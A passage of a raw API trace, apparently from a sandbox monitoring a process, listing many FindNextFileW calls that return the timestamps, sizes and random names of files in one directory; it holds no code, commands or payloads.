ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11dda, dwReserved0=0x0, dwReserved1=0x0, cFileName="KLUwMaQCvDlNDoCoQ3.xls", cAlternateFileName="")) returned 1 [0039.900] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RBkxpRf3.m4a", cAlternateFileName="")) returned 1 [0039.900] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15a45, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCVoNePy.png", cAlternateFileName="")) returned 1 [0039.900] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x166d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="dPc6HLBDbx19XugtWM.jpg", cAlternateFileName="")) returned 1 [0039.901] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16fbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="ywcd6Y1iM3n9j4GZ20Ya.png", cAlternateFileName="")) returned 1 [0039.901] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x873d, dwReserved0=0x0, dwReserved1=0x0, cFileName="3QVfoNUquygvYJYnxL.m4a", cAlternateFileName="")) returned 1 [0039.901] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc601, dwReserved0=0x0, dwReserved1=0x0, cFileName="AhsbCQy.csv", cAlternateFileName="")) returned 1 [0039.901] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OpdqDACZhn.ots", cAlternateFileName="")) returned 1 [0039.901] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xxTfgN.jpg", cAlternateFileName="")) returned 1 [0039.901] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xaeb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="1HtpGhRDb.ots", cAlternateFileName="")) returned 1 [0039.901] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11bb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="tE4nVH8Z0MXjyxhaHaNx.pdf", cAlternateFileName="")) returned 1 [0039.901] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11d7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="IBowTJ.csv", cAlternateFileName="")) returned 1 [0039.901] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449b0800, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9776, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAYEd2GbRKcU4.jpg", cAlternateFileName="")) returned 1 [0039.901] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPTqG3qP.ots", cAlternateFileName="")) returned 1 [0039.901] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="2cHgIoncB.wav", cAlternateFileName="")) returned 1 [0039.902] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449b0800, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15b5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrKxpbhKKRTpU.docx", cAlternateFileName="")) returned 1 [0039.902] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x14c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="8AEDnDa.avi", cAlternateFileName="")) returned 1 [0039.902] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12e32, dwReserved0=0x0, dwReserved1=0x0, cFileName="fmkPuhgsIQDpQcV3y.ppt", cAlternateFileName="")) returned 1 [0039.902] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17bcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oul9aMfiTm6Pt28KJ.xls", cAlternateFileName="")) returned 1 [0039.902] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x145e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="cdbHKY8ircatAsd.mp3", cAlternateFileName="")) returned 1 [0039.902] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x5a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="EInIzXIEURKe2P.odt", cAlternateFileName="")) returned 1 [0039.902] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c9a4d6, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c9a4d6, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xfc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDBM7MBYaR.mp3", cAlternateFileName="")) returned 1 [0039.902] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x166d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="s6tY3yjB6Dh6qgWl.odp", cAlternateFileName="")) returned 1 [0039.902] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17be7, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrfjPtip.xlsx", cAlternateFileName="")) returned 1 [0039.902] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbcf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qllIIB4PUCq.m4a", cAlternateFileName="")) returned 1 [0039.903] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd729, dwReserved0=0x0, dwReserved1=0x0, cFileName="ry23qi7rroS58F.m4a", cAlternateFileName="")) returned 1 [0039.903] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cfbf64, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cfbf64, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11d82, dwReserved0=0x0, dwReserved1=0x0, cFileName="zl76M0AJ2xe.ppt", cAlternateFileName="")) returned 1 [0039.903] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11bfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="kiZ0JG9WrlZl.ppt", cAlternateFileName="")) returned 1 [0039.903] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a4cc05, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13240, dwReserved0=0x0, dwReserved1=0x0, cFileName="byUWhwwpU4G7YhqN.png", cAlternateFileName="")) returned 1 [0039.903] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13665, dwReserved0=0x0, dwReserved1=0x0, cFileName="3lJ1cmsj7wnHDKlL1.xls", cAlternateFileName="")) returned 1 [0039.903] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x7fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="U2BmDJ.odp", cAlternateFileName="")) returned 1 [0039.903] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd501, dwReserved0=0x0, dwReserved1=0x0, cFileName="P3XntTjRFtRk.png", cAlternateFileName="")) returned 1 [0039.903] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449b0800, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x58a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="D2y4L1elku1D.pps", cAlternateFileName="")) returned 1 [0039.903] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a4cc05, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x14a5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bbqSpo4X5l6kKSSGQegr.jpg", cAlternateFileName="")) returned 1 [0039.903] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13305, dwReserved0=0x0, dwReserved1=0x0, cFileName="TqvR2yMTxIsft9J01h3.m4a", cAlternateFileName="")) returned 1 [0039.904] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17360, dwReserved0=0x0, dwReserved1=0x0, cFileName="LtLIcHIqo8.wav", cAlternateFileName="")) returned 1 [0039.904] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xaee1, dwReserved0=0x0, dwReserved1=0x0, cFileName="eMZLYEuOXmzJe.avi", cAlternateFileName="")) returned 1 [0039.904] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12466, dwReserved0=0x0, dwReserved1=0x0, cFileName="iVoyxyaCL.doc", cAlternateFileName="")) returned 1 [0039.904] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x798b, dwReserved0=0x0, dwReserved1=0x0, cFileName="yPKKv7fQ4YK.mkv", cAlternateFileName="")) returned 1 [0039.904] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xe461, dwReserved0=0x0, dwReserved1=0x0, cFileName="T3PGQZ2VabtjY5.mp4", cAlternateFileName="")) returned 1 [0039.904] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x7545, dwReserved0=0x0, dwReserved1=0x0, cFileName="YMZNKV4.mkv", cAlternateFileName="")) returned 1 [0039.904] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11664, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppEQNd41NzmPglbQ.ppt", cAlternateFileName="")) returned 1 [0039.904] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x181da, dwReserved0=0x0, dwReserved1=0x0, cFileName="4Qalr2j5fIEqdQ0.swf", cAlternateFileName="")) returned 1 [0039.904] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17557, dwReserved0=0x0, dwReserved1=0x0, cFileName="NZjMmNKkZjRI.png", cAlternateFileName="")) returned 1 [0039.904] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x120f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="2f5wUY1aFYJTCEwR.odp", cAlternateFileName="")) returned 1 [0039.904] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xa155, dwReserved0=0x0, dwReserved1=0x0, cFileName="tdyTR6vSlTZHl.m4a", cAlternateFileName="")) returned 1 [0039.905] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, 